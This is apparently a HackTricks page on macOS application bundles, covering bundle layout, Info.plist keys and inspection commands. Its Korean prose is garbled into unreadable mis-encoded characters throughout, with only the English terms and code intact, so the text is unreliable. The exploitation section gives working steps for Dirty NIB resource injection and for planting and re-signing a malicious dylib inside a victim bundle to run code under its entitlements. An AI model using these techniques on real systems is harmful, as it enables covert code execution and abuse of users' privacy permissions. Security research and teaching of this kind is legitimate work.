macOS ๋ฒ๋ค
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
macOS์ ๋ฒ๋ค์ ์ ํ๋ฆฌ์ผ์ด์
, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฐ ๊ธฐํ ํ์ํ ํ์ผ์ ํฌํจํ ๋ค์ํ ๋ฆฌ์์ค์ ์ปจํ
์ด๋ ์ญํ ์ ํ๋ฉฐ Finder์์ ๋จ์ผ ๊ฐ์ฒด๋ก ํ์๋ฉ๋๋ค(์: ์ต์ํ *.app ํ์ผ). ๊ฐ์ฅ ํํ ์ ํ๋ ๋ฒ๋ค์ .app ๋ฒ๋ค์ด์ง๋ง, .framework, .systemextension, .kext ๊ฐ์ ๋ค๋ฅธ ์ ํ๋ ๋๋ฆฌ ์ฌ์ฉ๋ฉ๋๋ค.
๋ฒ๋ค์ ํ์ ๊ตฌ์ฑ์์
๋ฒ๋ค, ํนํ <application>.app/Contents/ ๋๋ ํ ๋ฆฌ์๋ ๋ค์ํ ์ค์ํ ๋ฆฌ์์ค๊ฐ ํฌํจ๋ฉ๋๋ค:
- _CodeSignature: ์ด ๋๋ ํ ๋ฆฌ๋ ์ ํ๋ฆฌ์ผ์ด์ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฆ์ ์ค์ํ ์ฝ๋ ์๋ช ์ ๋ณด๋ฅผ ์ ์ฅํฉ๋๋ค. ๋ค์๊ณผ ๊ฐ์ ๋ช ๋ น์ด๋ก ์ฝ๋ ์๋ช ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค:
openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64
- MacOS: ์ฌ์ฉ์ ์ํธ์์ฉ ์ ์คํ๋๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํฌํจํฉ๋๋ค.
- Resources: ์ด๋ฏธ์ง, ๋ฌธ์, ์ธํฐํ์ด์ค ์ค๋ช (nib/xib ํ์ผ) ๋ฑ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฌ์ฉ์ ์ธํฐํ์ด์ค ๊ตฌ์ฑ ์์๋ฅผ ์ ์ฅํ๋ ์ ์ฅ์์ ๋๋ค.
- Info.plist: ์ ํ๋ฆฌ์ผ์ด์ ์ ์ฃผ์ ๊ตฌ์ฑ ํ์ผ๋ก, ์์คํ ์ด ์ ํ๋ฆฌ์ผ์ด์ ์ ์ ์ ํ ์ธ์ํ๊ณ ์ํธ์์ฉํ๊ธฐ ์ํด ์ค์ํฉ๋๋ค.
Info.plist์ ์ค์ ํค
Info.plist ํ์ผ์ ์ ํ๋ฆฌ์ผ์ด์
๊ตฌ์ฑ์ ํต์ฌ์ผ๋ก, ๋ค์๊ณผ ๊ฐ์ ํค๋ฅผ ํฌํจํฉ๋๋ค:
- CFBundleExecutable:
Contents/MacOS๋๋ ํฐ๋ฆฌ์ ์๋ ์ฃผ์ ์คํ ํ์ผ์ ์ด๋ฆ์ ์ง์ ํฉ๋๋ค. - CFBundleIdentifier: ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํ ์ ์ญ ์๋ณ์๋ฅผ ์ ๊ณตํ๋ฉฐ, macOS์์ ์ ํ๋ฆฌ์ผ์ด์ ๊ด๋ฆฌ๋ฅผ ์ํด ๋๋ฆฌ ์ฌ์ฉ๋ฉ๋๋ค.
- LSMinimumSystemVersion: ์ ํ๋ฆฌ์ผ์ด์ ์คํ์ ํ์ํ ์ต์ macOS ๋ฒ์ ์ ๋ํ๋ ๋๋ค.
๋ฒ๋ค ํ์
์๋ฅผ ๋ค์ด Safari.app ๊ฐ์ ๋ฒ๋ค์ ๋ด์ฉ์ ํ์ํ๋ ค๋ฉด ๋ค์ ๋ช
๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค: bash ls -lR /Applications/Safari.app/Contents
์ด ํ์์ ํตํด _CodeSignature, MacOS, Resources ๊ฐ์ ๋๋ ํฐ๋ฆฌ์ Info.plist ๊ฐ์ ํ์ผ์ด ํ์๋๋ฉฐ, ๊ฐ๊ฐ์ ์ ํ๋ฆฌ์ผ์ด์
์ ๋ณดํธํ๊ฑฐ๋ ์ฌ์ฉ์ ์ธํฐํ์ด์ค ๋ฐ ๋์ ๋งค๊ฐ๋ณ์๋ฅผ ์ ์ํ๋ ๋ฑ ๊ณ ์ ํ ์ญํ ์ ํฉ๋๋ค.
์ถ๊ฐ ๋ฒ๋ค ๋๋ ํฐ๋ฆฌ
์ผ๋ฐ ๋๋ ํฐ๋ฆฌ ์ธ์๋ ๋ฒ๋ค์ ๋ค์์ ํฌํจํ ์ ์์ต๋๋ค:
- Frameworks: ์ ํ๋ฆฌ์ผ์ด์ ์์ ์ฌ์ฉํ๋ ๋ฒ๋ค๋ framework๋ฅผ ํฌํจํฉ๋๋ค. Framework๋ ์ถ๊ฐ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ง dylib์ ์ ์ฌํฉ๋๋ค.
- PlugIns: ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ธฐ๋ฅ์ ํ์ฅํ๋ ํ๋ฌ๊ทธ์ธ ๋ฐ ํ์ฅ ๊ธฐ๋ฅ์ ์ํ ๋๋ ํฐ๋ฆฌ์ ๋๋ค.
- XPCServices: ์ ํ๋ฆฌ์ผ์ด์ ์ด ํ๋ก์ธ์ค ์ธ ํต์ ์ ์ํด ์ฌ์ฉํ๋ XPC ์๋น์ค๋ฅผ ์ ์ฅํฉ๋๋ค.
์ด ๊ตฌ์กฐ๋ ํ์ํ ๋ชจ๋ ๊ตฌ์ฑ ์์๊ฐ ๋ฒ๋ค ๋ด์ ์บก์ํ๋๋๋ก ํ์ฌ ๋ชจ๋์์ด๊ณ ์์ ํ ์ ํ๋ฆฌ์ผ์ด์ ํ๊ฒฝ์ ์กฐ์ฑํฉ๋๋ค.
Info.plist ํค์ ๊ทธ ์๋ฏธ์ ๋ํ ์์ธํ ์ ๋ณด๋ Apple ๊ฐ๋ฐ์ ๋ฌธ์์์ ํ์ธํ ์ ์์ต๋๋ค: Apple Info.plist Key Reference.
๋ณด์ ๋ ธํธ ๋ฐ ์ ์ฉ ๋ฒกํฐ
- Gatekeeper / App Translocation: ๊ฒฉ๋ฆฌ๋ ๋ฒ๋ค์ด ์ฒ์ ์คํ๋ ๋ macOS๋ ์ฌ์ธต ์๋ช
๊ฒ์ฆ์ ์ํํ๊ณ ๋ฌด์์๋ก translocated๋ ๊ฒฝ๋ก์์ ์คํํ ์ ์์ต๋๋ค. ์ผ๋จ ์์ฉ๋๋ฉด ์ดํ ์คํ์์๋ ์์ ๊ฒ์ฌ๋ง ์ํ๋์๊ณ , ๊ณผ๊ฑฐ์๋
Resources/,PlugIns/, nib ๋ฑ ๋ฆฌ์์ค ํ์ผ์ด ๊ฒ์ฌ๋์ง ์์์ต๋๋ค. macOS 13 Ventura๋ถํฐ๋ ์ฒซ ์คํ์์ ์ฌ์ธต ๊ฒ์ฌ๊ฐ ๊ฐ์ ๋๋ฉฐ ์๋ก์ด App Management TCC ๊ถํ์ ์ฌ์ฉ์ ๋์ ์์ด ์ 3์ ํ๋ก์ธ์ค๊ฐ ๋ค๋ฅธ ๋ฒ๋ค์ ์์ ํ๋ ๊ฒ์ ์ ํํ์ง๋ง, ๊ตฌํ ์์คํ ์ ์ฌ์ ํ ์ทจ์ฝํฉ๋๋ค. - Bundle Identifier collisions: ์ฌ๋ฌ ์๋ฒ ๋๋ ๋์(PlugIns, helper tools)์ด ๋์ผํ
CFBundleIdentifier๋ฅผ ์ฌ์ฌ์ฉํ๋ฉด ์๋ช ๊ฒ์ฆ์ด ๊นจ์ง ์ ์์ผ๋ฉฐ, ๋๋ก๋ URLโscheme hijacking/confusion์ ๊ฐ๋ฅํ๊ฒ ํ ์ ์์ต๋๋ค. ํญ์ ์๋ธ ๋ฒ๋ค์ ๋์ดํ๊ณ ๊ณ ์ ํ ID๋ฅผ ํ์ธํ์ธ์.
๋ฆฌ์์ค ํ์ด์ฌํน (Dirty NIB / NIB Injection)
Ventura ์ด์ ์๋ ์๋ช ๋ ์ฑ์์ UI ๋ฆฌ์์ค๋ฅผ ๊ต์ฒดํ๋ฉด ์์ ์ฝ๋ ์๋ช ์ ์ฐํํด ์ฑ์ entitlements๋ก ์ฝ๋ ์คํ์ ์ป์ ์ ์์์ต๋๋ค. ์ต์ ์ฐ๊ตฌ(2024)์ ๋ฐ๋ฅด๋ฉด ์ด๋ ์ฌ์ ํ preโVentura ๋ฐ ๊ฒฉ๋ฆฌ๋์ง ์์ ๋น๋์์ ์๋ํฉ๋๋ค:
- ๋์ ์ฑ์ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์น(์:
/tmp/Victim.app)๋ก ๋ณต์ฌํฉ๋๋ค. Contents/Resources/MainMenu.nib(๋๋NSMainNibFile์ ์ ์ธ๋ ๋ค๋ฅธ nib)์NSAppleScript,NSTask๋ฑ์ ์ธ์คํด์คํํ๋ ์ ์ฑ nib๋ก ๊ต์ฒดํฉ๋๋ค.- ์ฑ์ ์คํํฉ๋๋ค. ์ ์ฑ nib์ ํผํด์์ ๋ฒ๋ค ID ๋ฐ entitlements(TCC ๊ถํ, ๋ง์ดํฌ/์นด๋ฉ๋ผ ๋ฑ)๋ก ์คํ๋ฉ๋๋ค.
- Ventura+์์๋ ์ฒซ ์คํ ์ ๋ฒ๋ค์ ๋ํ ์ฌ์ธต ๊ฒ์ฆ์ ์ํํ๊ณ ์ดํ ์์ ์ ์ํด App Management ๊ถํ์ ์๊ตฌํจ์ผ๋ก์จ ์ด๋ฅผ ์ํํฉ๋๋ค. ๋ฐ๋ผ์ ์ง์์ฑ ํ๋ณด๊ฐ ๋ ์ด๋ ค์์ก์ง๋ง, ๊ตฌํ macOS์์๋ ์ด๊ธฐ ์คํ ๊ณต๊ฒฉ์ด ์ฌ์ ํ ์ ํจํฉ๋๋ค.
์ต์ ์
์ฑ nib ํ์ด๋ก๋ ์์ (ibtool๋ก xib๋ฅผ nib์ผ๋ก ์ปดํ์ผ):
# create a nib that runs osascript -e 'do shell script "id"'
# ...build xib in Xcode, then
ibtool --compile MainMenu.nib MainMenu.xib
cp MainMenu.nib /tmp/Victim.app/Contents/Resources/
open /tmp/Victim.app
๋ฒ๋ค ๋ด๋ถ์ Framework / PlugIn / dylib Hijacking
@rpath ์กฐํ๋ ๋ฒ๋ค๋ Frameworks/PlugIns๋ฅผ ์ฐ์ ํ๋ฏ๋ก, ์
์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ Contents/Frameworks/ ๋๋ Contents/PlugIns/์ ๋ฃ์ผ๋ฉด ๋ฉ์ธ ๋ฐ์ด๋๋ฆฌ๊ฐ library validation ์์ด ์๋ช
๋์๊ฑฐ๋ ์ฝํ LC_RPATH ์ ๋ ฌ์ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ๋ก๋ ์์๋ฅผ ๋ฐ๊ฟ ์ ์์ต๋๋ค.
์๋ช ๋์ง ์์/adโhoc ๋ฒ๋ค์ ์ ์ฉํ ๋์ ์ผ๋ฐ์ ์ธ ๋จ๊ณ:
cp evil.dylib /tmp/Victim.app/Contents/Frameworks/
install_name_tool -add_rpath @executable_path/../Frameworks /tmp/Victim.app/Contents/MacOS/Victim
# or patch an existing load command
install_name_tool -change @rpath/Legit.dylib @rpath/evil.dylib /tmp/Victim.app/Contents/MacOS/Victim
codesign -f -s - --timestamp=none /tmp/Victim.app/Contents/Frameworks/evil.dylib
codesign -f -s - --deep --timestamp=none /tmp/Victim.app
open /tmp/Victim.app
์ฐธ๊ณ :
- Hardened runtime์์
com.apple.security.cs.disable-library-validation์ด ์์ผ๋ฉด ์๋ํํฐ dylibs๊ฐ ์ฐจ๋จ๋ฉ๋๋ค; ๋จผ์ entitlements๋ฅผ ํ์ธํ์ธ์. Contents/XPCServices/์๋์ XPC services๋ ์ข ์ข sibling frameworks๋ฅผ ๋ก๋ํฉ๋๋คโํด๋น binaries๋ฅผ persistence ๋๋ privilege escalation ๊ฒฝ๋ก๋ฅผ ์ํด ์ ์ฌํ๊ฒ ํจ์นํ์ธ์.
๋น ๋ฅธ ๊ฒ์ฌ ์นํธ์ํธ
# list top-level bundle metadata
/usr/libexec/PlistBuddy -c "Print :CFBundleIdentifier" /Applications/App.app/Contents/Info.plist
# enumerate embedded bundles
find /Applications/App.app/Contents -name "*.app" -o -name "*.framework" -o -name "*.plugin" -o -name "*.xpc"
# verify code signature depth
codesign --verify --deep --strict /Applications/App.app && echo OK
# show rpaths and linked libs
otool -l /Applications/App.app/Contents/MacOS/App | grep -A2 RPATH
otool -L /Applications/App.app/Contents/MacOS/App
์ฐธ๊ณ ์๋ฃ
- Bringing process injection into view(s): exploiting macOS apps using nib files (2024)
- Dirty NIB & bundle resource tampering writeโup (2024)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


